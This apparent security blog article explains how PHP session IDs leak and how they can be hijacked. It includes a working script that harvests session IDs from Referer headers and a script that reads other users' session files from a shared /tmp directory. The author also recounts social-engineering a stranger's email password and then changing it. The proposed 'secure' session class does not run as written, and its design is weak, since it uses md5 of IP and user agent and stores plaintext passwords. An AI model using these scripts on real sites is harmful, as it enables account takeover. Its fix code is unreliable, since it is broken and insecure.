Application security

PHP Session ID’s – The Risks

Adrian Stolarski
December 31, 2012 by
Adrian Stolarski

In today's article I want to address a very important topic. Namely, I want to talk about PHP session security. I know and understand that this is a very broad topic, but is also extremely interesting. PHP, even though it is simple and intuitive, is considered bad language if you want to write any halfway complex software. Why is that? The fault lies not with the language itself, but the programmers and administrators who do not understand it. This article will show you how to attack a session mechanism.


Use browsers weakness

PHP generally has two options for the transmission of session IDs. Both of them are very interesting from our point of view. The first is to transfer the session identifier in the address, so the session ID is then available to the public. The second way is a much safer route, and it is to use cookies. Although it may be safer to use a cookie, it does not give you 100% security.
Well, what happens when you're on my side, and I'll start to collect all the information of your cookies? All cookies, which are generated by visiting your favorite web sites, such as logging into the post office or a paid service?

For me, the first solution is interesting and shows the lack of creativity of developers and administrators of the servers on which PHP is installed. The understanding of the written code can be very difficult though.
The first method is to simply transfer session using the GET array. Here is an example:

http://example.org/index.php?name=news&PHPSESSID=a3g9879cc0c5 b537a69ac366e85208de

Beautiful, is it not? Do you know why it is still used? Many developers and administrators are afraid that users will block their browsers ability to receive cookies. It is responsible for the session.use_trans_sid option in php.ini. You know what risks it brings? With redirection, most browsers use this header:

Referrer: http://google.com

Of course this is just an example. The contents of the header may be different, but it's actually irrelevant. In the header, all the information about the previously visited site is transmitted. This header is sent only when we move to another page by clicking a link, rather than typing the address in your browser.
Do you have a page where pop up ads always display in your browser? It annoys me like heck. I cannot look at them. What do I do? Buy a crafted link to my website on your website. Of course, I do side with a high click-through rate. My beautiful site will also contain a one very malicious script. Here's the code:

[php]

<?php

if(isset($_SERVER['HTTP_REFERER'])){

$file=fopen("devilishchuckle.txt", "a");

fputs($file, $_SERVER['HTTP_REFERER']."rn");

fclose($file);

}

?>

[/php]

The operation of a hacker script is as follows. $ _SERVER Is a superglobal command. First, we look at whether it initiated HTTP_REFERER as part of the $ _SERVER, then open the specified file, save and close the file. Beautiful and how easy to use. This can be compared to the iPhone and rotten apples. Everyone clicks on the link, it automatically will give your session id to the hacker, and the hacker will be able to log in as that person and destroy the credibility of the portal.

Social engineering

This is something that neither that is not immune to neither methods. Social engineering is described in the following articles:

https://resources.infosecinstitute.com/social-engineering/
https://resources.infosecinstitute.com/social-engineering-2/

How does this relate to PHP? Describe two stories, both show the extent of human stupidity and never be disappointed. Both have happened. Here they are:

The first corresponds exactly to that of the writing. Once I managed to persuade someone to do something for me, nothing major, such as logging on to your e-mail account, and then send me the URL and your browser cookies. Then I showed that person what you can do with the data, which is willingly given. It was ridiculously easy.

The other one is even more humorous. Once I entered the chat and pretended to be a lady, I got into a conversation with a desperado. He wanted a photo. I ordered him to give me an e-mail address. The guy did it without any resistance. I then waited for him to send me a photo. Then I asked why it had not come. I figured that mine crashes, it's a mistake, and that he must give me the password to his e-mail address, and I will write to him from there. The first thing I did was to hurry and change his password to the e-mail.

Sometimes it is exciting that we give their personal details to other strangers. However, I always try to verify the identity of people and do not give away precious private information to strangers. This is the principle, which is always observed.


The possibility of session hijacking, having access to the server

There is another thing that we must remember. If we have our website on a public server, where we are never alone, in addition to the normal users, public servers are filled with bad, lazy hackers. If the administrators are lazy, it can have serious consequences. Lazy administrators always leave something like a default PHP configuration set. That is the path to save the session. By default, PHP is /tmp, the location of which is really somewhere all users can read. It is enough that this lists the directory, but you can also view the session IDs.
If we host the website in a large server, if known, will surely have a lot of sites hosted on it. This way, we can get a really large number of session IDs.

Now, how to find the ones that interest us? Believe me, you do not have to use the same session ID. In a very simple way you can pull data from each session.

[php]

define("SESSION_DIR", "/tmp/session/"); // session dir

define("START", 5); // need to substr, the number of sessions depends on the name

define("END", 32); // need to substr, the number of session depends on the name

if(!isset($_GET['id'])){

$directory = opendir(SESSION_DIR);

while($files=readdir($directory)){

$files = substr($files, START, END);

echo "<a href="session.php?id=".$files."">".$files."</a><br>";

}

}

else {

session_id($_GET['id']);

session_start();

foreach($_SESSION as $variable => $value){

echo $variable."=".$value."<br>";

}

$directory = opendir(SESSION_DIR);

while($files = readdir($dir)){

$files = substr($files, START, END);

echo "<a href="session.php?id=".$files."">".$files."</a><br>";

}

}

?>

[/php]

As you can see our hacker script is very simple, yet very useful. It displays all session IDs. When you click on the ID, it shows us the data from the session id.

Of course, that can also be defended. What is the fastest way to do so? Well, we can always change the path of data recording session, to a path that will be less available. However, just taking this step does not offset the risk as it exists as long as the user can list the directory.

The next thing you should do is put each account in the Apache chroot or jail. This solution is also not the best as the amount of space that should be used varies. It is of course better idea to put set safe_mode to ON in php.ini. This way, no one will be able to be able to list the directory with the PHP sessions. Of course, we still have a problem with people who have shell accounts. Just remember that if I set the chmod, they also will not do too much.

So how do we create a secure session id?

In this article I strongly criticized mechanisms available in PHP sessions. This is still not the ultimate solution as to run completely secure. At the end of this article I want to show an alternative way to generate session IDs in PHP. Perhaps it is not as powerful as the one that already is in PHP, but it sure is safer and much easier to use. The main difference in the class below will rely on the fact that the problem has been completely easy to gather the session ID. You can read more about passwords in the following article:

https://resources.infosecinstitute.com/best-practices-when-creating-passwords/

As a hash of the password, the data used browser and IP address data. As a result, the session ID is created, which completely avoids what is called the birthday problem. That is when the browser gives so much data that it is impracticable to two people handling the same password. The class is really very simple, and to generate the session ID hash function we use md5() because there is no point if you are using something else such as Mcrypt.

Below is the full code of a simple class to generate session IDs:

[php]

<?php

define("BUFFER_SIZE", 1024);

define("SESSION_PATH", "user_sessions/");

define("SEPARATOR", "=");

define("END_LINE", "rn");

class SessionIDGenerator {

public function __construct(){

}

public function sessionStart(&$session_array){

if(file_exists(SESSION_PATH.userHash())){

$file = fopen(SESSION_PATH.userHash(), "r");

flock($file, LOCK_SH);

while($line = fgets($file, BUFFER_SIZE)){

list($variable, $value) = explode(SEPARATOR, $line);

$session_array[trim($variable)] = trim($value);

}

flock($file, LOCK_UN);

fclode($file);

}

else {

$file = fopen(SESSION_PATH.userHash(), "w");

fclose($file);

}

}

public function sessionClose(&$session_array){

if(file_exists(SESSION_PATH.userHash()) || isset($session_array)){

file = fopen(SESSION_PATH.userHash(), "w");

foreach($session_array as $variable => $value){

flock($file, LOCK_EX);

fputs($file, $variable.SEPARATOR.$value.END_LINE);

flock($file, LOCK_UN);

}

fclose($file);

unset($session_array);

return true;

}

else {

return false;

}

}

public function sessionDestroy()(&$session_array){

unlink(SESSION_PATH.userHash();

unset($session_array);

return;

}

private function userHash(){

return md5($_SERVER['REMOTE_ADDR'].$_SERVER['user_agent']);

}

}

?>

[/php]

Now we have a mechanism to generate session IDs. How can I put it to use? It is also very simple. See for yourself:

[php]

<?php

$sessionIdGenerator = new SessionIdDenerator;

$sessionIdGenerator->sessionStart(&$SessionArray);

$SessionArray['login'] = "user"'

$SessionArray['password'] = "password";

$sessionIdGenerator->sessionClose();

?>

[/php]

At the moment, it makes no sense to write your own session management mechanism. Mechanisms built into PHP can quietly handle it. We just took a little bit better protection mechanisms in PHP sessions than standard.

Summary

The fact that even I took the PHP language testifies to its extraordinary popularity. In a previous article on PHP:

https://resources.infosecinstitute.com/nine-wishes-for-php-applications/

I mentioned this to my requests for application developers. Today I raised another very important issue: the dangers associated with the session IDs. This is very important because a lot of hackers could create a mess.

Although this is not the focus of this article, you should know that each session shown has expired. If it starts to use the information contained in this article, you have to be very hurried. There is, however, such a thing as a long-term session. So if we do not protect the programmer through good session ID generation, we probably won't against long-term sessions.

One day I'll show you how we should write a much better session mechanism than the one built in to PHP. That is not the focus of today's article. You should seriously consider the combinations if you are using the mechanism of the session. You can share user data stored in the database as part of the cookie, but the other part stored in the session. Mechanisms for handling session data are the most important for anyone who writes PHP applications. Therefore it is really worth it to devote a lot more time than some other PHP elements. I greet you and wish you many safe and successful PHP projects in the future.

Adrian Stolarski
Adrian Stolarski

Adrian Stolarski is a freelance security tech blogger, specializing in Java, PHP, and JQuery. In his own words, he does the hard work of training the unemployed. Currently, he handles Evaluation Visualization for real-time systems with XWT and Eclipse RAP. If he sees that something works, he asks how it works and why it works, then sets out to make it work better. A researcher for InfoSec Institute, he currently lives in Poland, but plans to move to London.